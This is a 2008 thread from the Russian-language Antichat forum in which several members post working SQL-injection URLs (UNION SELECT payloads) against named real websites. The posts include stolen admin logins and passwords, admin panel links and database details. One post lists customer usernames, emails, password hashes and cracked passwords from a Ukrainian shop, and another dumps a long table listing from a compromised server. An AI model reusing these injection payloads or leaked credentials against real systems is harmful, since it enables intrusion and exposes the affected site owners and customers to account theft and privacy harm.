HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.12.2008, 13:52
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию

pr7 похоже на форум международного оператора сотовой связи Оранж, но мб и ошибаюсь.
Цитата:
http://forum.orange.fr/liremessages.php?idsection=1828[SQL]&thread=10743
Db: bddforums
Version: 4.1.11-Debian_4sarge7-log
User: forums@fofo05wb.b1.woo
 
Ответить с цитированием

  #2  
Старый 12.12.2008, 14:18
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.pcr.org.ar/hoy.php?id_nota=-1+union+select+concat_ws(0x3a3a,usuario,clave)+fro m+usuarios+limit+0,1/*

login: tansimPLE
pass: IHfr78MET

Админка
http://www.pcr.org.ar/admin/_administrar.php?area=nomenclador

Коммуняки плиять...
 
Ответить с цитированием

  #3  
Старый 12.12.2008, 14:51
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.exoticangkor.com/hotels.php?city_id=-1+union+select+1,2,3,4,concat_ws(0x3a3a,username,p assword),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, 21,22,23,24,25,26+from+tbl_user+limit+0,1--



http://www.exoticangkor.com/admin/


Баанк!! (Co Джей иМолчаливый Боб)


-----------------------------------------------------------

http://www.trinergy.at/pop_lexikon.php?id=-1+union+select+1,concat_ws(0x3a3a,username,passwor d),3,4+from+users+limit+0,1/*

http://www.trinergy.at/admin

login:CW
pass:CW

Куяк!!!!
---------------------------------------------------------

Последний раз редактировалось Cennarios; 12.12.2008 в 17:27..
 
Ответить с цитированием

  #4  
Старый 12.12.2008, 17:52
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
Провел на форуме:
800953

Репутация: 443
По умолчанию

Магазинчик...

http://www.zakaz.kr.ua/vitrina/tovar/?lev1=9&lev2=12&lev3=17&id=-170/**/UNION/**/SELECT/**/AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626 567696E,(SELECT/**/CONCAT(id,0x7873716C696E6A64656C,login,0x7873716C6 96E6A64656C,pass,0x7873716C696E6A64656C,mymail)/**/FROM/**/zakazkr_zakaz.customers/**/LIMIT/**/5,1),0x7873716C696E6A656E64),0x71),0x71),2,3,4,5,6 ,7,8,9,10,11,12,13--

Добил их пользователей много всех не стал кому надо далее сам...


[1]:6:karlsson:5a89ed8db9c4a2a2406d570da13e2560:karls son@dela.kr.ua
[2]:7:test:c4ca4238a0b923820dcc509a6f75849b:serge@del a.kr.ua 1
[3]:8:vitaliy:12d72e349bedf045166bf79ae9c66242:vitali y@shtorm.com passwd:0708gw
[4]:9:amigo:a9de3c617cb8e7fab847b08ea1a80e42:amigo@ki rovograd.info passwd:g-shock
[5]:10:lelikx:42019dd47db5aeed2091398fadea7c0b:lelikx @ukr.net passwd:666123
[6]:11:vovan-bmw:8ebfbd869222118c7716a8e87c94dde2:agroteh@romb. net
[7]:12:Хохол:ca56097a3dc3bf5e0626c4da3c84d7a4:ch _vas@ukr.net passwd:180297
[8]:13:artur:c9b5ecdf0b853aab02103542187ea208:artur@r omb.net passwd:artur
[9]:14:asd:cb2c631d23f3e2f9a5d79171c8c1d141:asd@romb. net
[10]:15:xXx:a4f59177af1c5586e49c16a142b2a793:
[11]:16:dimitrius:6e8b08a1285fda750437a1677b0d3286:dim itriusf@rambler.ru
[12]:17:Igor:8b65ac266262fd4f65e1d4a169fedbfd:goshka@r omb.net passwd:311181
[13]:18:Garik:7b90ad7525dbd9a141f76f47f2dd7da5:garikwo rk@rambler.ru
[14]:19:SNIPER:67c6a1e7ce56d3d6fa748ab6d9af3fd7bit@k v.ukrtel.net passwd:47
 
Ответить с цитированием

  #5  
Старый 12.12.2008, 19:09
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Адрес: www.wbdg.org (74.205.45.163)

Google PR 7 / 10
Яндекс тІЦ 60

Код:
http://www.wbdg.org/ccb/browse_cat.php?o=29&c=-4+union+select+concat_ws(0x3a3a,database(),version(),user()),2--
Database Version: 5.0.67
Database name: ccb
User name: webscript@localhost
 
Ответить с цитированием

  #6  
Старый 12.12.2008, 19:12
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.nrru.ac.th/web/healthcenter/main.php?pack=readnews&news_id=-1+union+select+1,user_name,3,user_pass,5,6,7,8+fro m+core_user+limit+0,1/*

http://www.nrru.ac.th/web/healthcenter/admin/main.php

login: admin
pass: 12345678


Арабикан гомикас похекас!!! lol
 
Ответить с цитированием

  #7  
Старый 12.12.2008, 19:21
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию

Код:
http://www.globalresearch.ca/PrintArticle.php?articleId=1+union+select+1,concat_ws(0x3a,VERSION(), USER(), DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52/*
5.0.24a-log:u70167021@cgihost:d60162207
 
Ответить с цитированием

  #8  
Старый 12.12.2008, 19:22
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

Dimi4,

Сдампленные база.таблица:
Код:
bsa.bsa_pages
bsa.products
bsa.products_join
bsa.program
bsa.projects
bsa.projects_bak
bsa.sp_expt_join
bsa.speaker_expertise
bsa.speakers
bsa.users
bsa.users_allowed
ccb.UFGS_old
ccb.UFGS_old1
ccb.ccb_category
ccb.ccb_documents
ccb.ccb_library
ccb.ccb_org
ccb2.UFGS_old
ccb2.UFGS_old1
ccb2.ccb_category
ccb2.ccb_documents
ccb2.ccb_library
ccb2.ccb_org
cs_training.course
cs_training.pages
cs_training.users
gsa_rat.answers
gsa_rat.assessments
gsa_rat.project
gsa_rat.questions
gsa_rat.section
gsa_rat.team_members
gsa_rat.users
mysql.columns_priv
mysql.db
mysql.func
mysql.help_category
mysql.help_keyword
mysql.help_relation
mysql.help_topic
mysql.host
mysql.proc
mysql.procs_priv
mysql.tables_priv
mysql.time_zone
mysql.time_zone_leap_second
mysql.time_zone_name
mysql.time_zone_transition
mysql.time_zone_transition_type
mysql.user
navfac.active_exams
navfac.answers
navfac.bookmarks
navfac.certificates
navfac.cnt_content_blocks
navfac.cnt_disciplines
navfac.cnt_exercises
navfac.cnt_modules
navfac.cnt_obj_disciplines
navfac.cnt_reading_blocks
navfac.cnt_tasks
navfac.exams
navfac.hibernate_unique_key
navfac.questions
navfac.report_card_hist
navfac.roles
navfac.user_answers
navfac.user_answers_history
navfac.user_info
navfac.user_roles
ncs.affiliate_sales
ncs.affiliates
ncs.ballots
ncs.ballots_questions
ncs.ballots_users
ncs.eligible_ballots_users
ncs.officer_ballot
ncs.questions
ncs.task_teams
ncs.users
ncs.votes
ncsforum.usebb_badwords
ncsforum.usebb_bans
ncsforum.usebb_cats
ncsforum.usebb_forums
ncsforum.usebb_members
ncsforum.usebb_moderators
ncsforum.usebb_posts
ncsforum.usebb_searches
ncsforum.usebb_sessions
ncsforum.usebb_stats
ncsforum.usebb_subscriptions
ncsforum.usebb_topics
ncsstore.ds_admin_failed_attempts
ncsstore.ds_admin_password_history
ncsstore.ds_admins
ncsstore.ds_affiliate_payout
ncsstore.ds_affiliates
ncsstore.ds_blocked_ips
ncsstore.ds_cart_files
ncsstore.ds_cart_options
ncsstore.ds_carts
ncsstore.ds_categories
ncsstore.ds_category_crumb_trails
ncsstore.ds_countries
ncsstore.ds_coupon_categories
ncsstore.ds_coupon_membership
ncsstore.ds_coupon_products
ncsstore.ds_coupon_vendors
ncsstore.ds_coupons
ncsstore.ds_currencies
ncsstore.ds_customer_cards
ncsstore.ds_customer_reward_points
ncsstore.ds_customers
ncsstore.ds_download_keys
ncsstore.ds_emails
ncsstore.ds_gateway_settings
ncsstore.ds_gateways
ncsstore.ds_gift_certs
ncsstore.ds_language_categories
ncsstore.ds_language_page_contents
ncsstore.ds_language_photos
ncsstore.ds_language_product_option_labels
ncsstore.ds_language_product_options
ncsstore.ds_language_products
ncsstore.ds_languages
ncsstore.ds_newsletter
ncsstore.ds_newsletter_queue
ncsstore.ds_option_groups
ncsstore.ds_options
ncsstore.ds_order_credits
ncsstore.ds_order_taxes
ncsstore.ds_orders
ncsstore.ds_page_contents
ncsstore.ds_photos
ncsstore.ds_pricing_group
ncsstore.ds_pricing_group_categories
ncsstore.ds_product_categories
ncsstore.ds_product_download_files
ncsstore.ds_product_group_pricing
ncsstore.ds_product_pricing
ncsstore.ds_product_reviews
ncsstore.ds_product_timelines
ncsstore.ds_products
ncsstore.ds_products_cross_sell
ncsstore.ds_protx
ncsstore.ds_registries
ncsstore.ds_registry_items
ncsstore.ds_search_groups
ncsstore.ds_searches
ncsstore.ds_settings
ncsstore.ds_shipping
ncsstore.ds_simplified_columns
ncsstore.ds_state_taxes
ncsstore.ds_states
ncsstore.ds_subscription_carts
ncsstore.ds_subscription_countries
ncsstore.ds_subscription_orders
ncsstore.ds_subscription_timelines
ncsstore.ds_tax
ncsstore.ds_tax_rates
ncsstore.ds_text
ncsstore.ds_tmp_tracking
ncsstore.ds_top_sellers
ncsstore.ds_vendors
ncsstore.ds_widgets
ncsstore.ds_wishlists
ncsstore.se_keyword_values
ncsstore.se_keywords
ncsstore.se_session
urchin.uaccounts
urchin.uaccounts_permissions
urchin.ufilters
urchin.ufilters_permissions
urchin.ugeo_tasks
urchin.ugeo_tasks_permissions
urchin.uglobals
urchin.uglobals_permissions
urchin.ugoals
urchin.ugoals_permissions
urchin.ugroups
urchin.ugroups_permissions
urchin.ugroups_uusers
urchin.ugroups_uusers_permissions
urchin.ulogs
urchin.ulogs_permissions
urchin.ulogs_ufilters
urchin.ulogs_ufilters_permissions
urchin.uprofiles
urchin.uprofiles_permissions
urchin.uprofiles_queue
urchin.uprofiles_queue_permissions
urchin.uprofiles_tasks
urchin.uprofiles_tasks_permissions
urchin.uprofiles_ufilters
urchin.uprofiles_ufilters_permissions
urchin.uprofiles_ugroups
urchin.uprofiles_ugroups_permissions
urchin.uprofiles_ulogs
urchin.uprofiles_ulogs_permissions
urchin.uprofiles_uusers
urchin.uprofiles_uusers_permissions
urchin.usessions
urchin.usessions_permissions
urchin.uusers
urchin.uusers_permissions
wbdg.agencies
wbdg.caac
wbdg.caac_docs
wbdg.caac_docs_comments
wbdg.calendar
wbdg.ccbcategories
wbdg.ce_testinfo
wbdg.ce_tests
wbdg.ce_users
wbdg.countries
wbdg.cwm_options
wbdg.cwm_recordOptions
wbdg.cwm_records
wbdg.cwm_users
wbdg.documents
wbdg.dodihs
wbdg.epa_greenguide
wbdg.epa_greenspec
wbdg.events
wbdg.leed
wbdg.mandates
wbdg.masterformat
wbdg.mf_div
wbdg.organizations
wbdg.relations
wbdg.spie
wbdg.states
wbdg.tools
wbdg.tools_categories
wbdg.wbdg_pages
wbdg.zipData
Цитата:
http://www.icompositions.com/music/showcat.php?cid=-1+union+select+concat_ws(0x3a,version(),database() ,user())--
4.1.22-standard:ic_music:ic@localhost

Последний раз редактировалось ChaaK; 12.12.2008 в 23:52..
 
Ответить с цитированием

  #9  
Старый 12.12.2008, 19:28
[x26]VOLAND
Постоянный
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
По умолчанию

http://www.wbdg.org/ccb/admin/index.php
Но она какая то кривая =/
 
Ответить с цитированием

  #10  
Старый 12.12.2008, 19:55
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию

Код:
http://www.cactuslove.ru/su_big_foto.php?imgid=350'/**/union/**/select/**/1,2,concat_ws(0x3a,login,password,nick),4,5/**/from/**/cactuslove/**/limit/**/1,1/*
Яндекс тИЦ: 1400
Database: cactuslove
Version: 5.0.32-Debian_7etch8-log
User: cactus_user@localhost
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ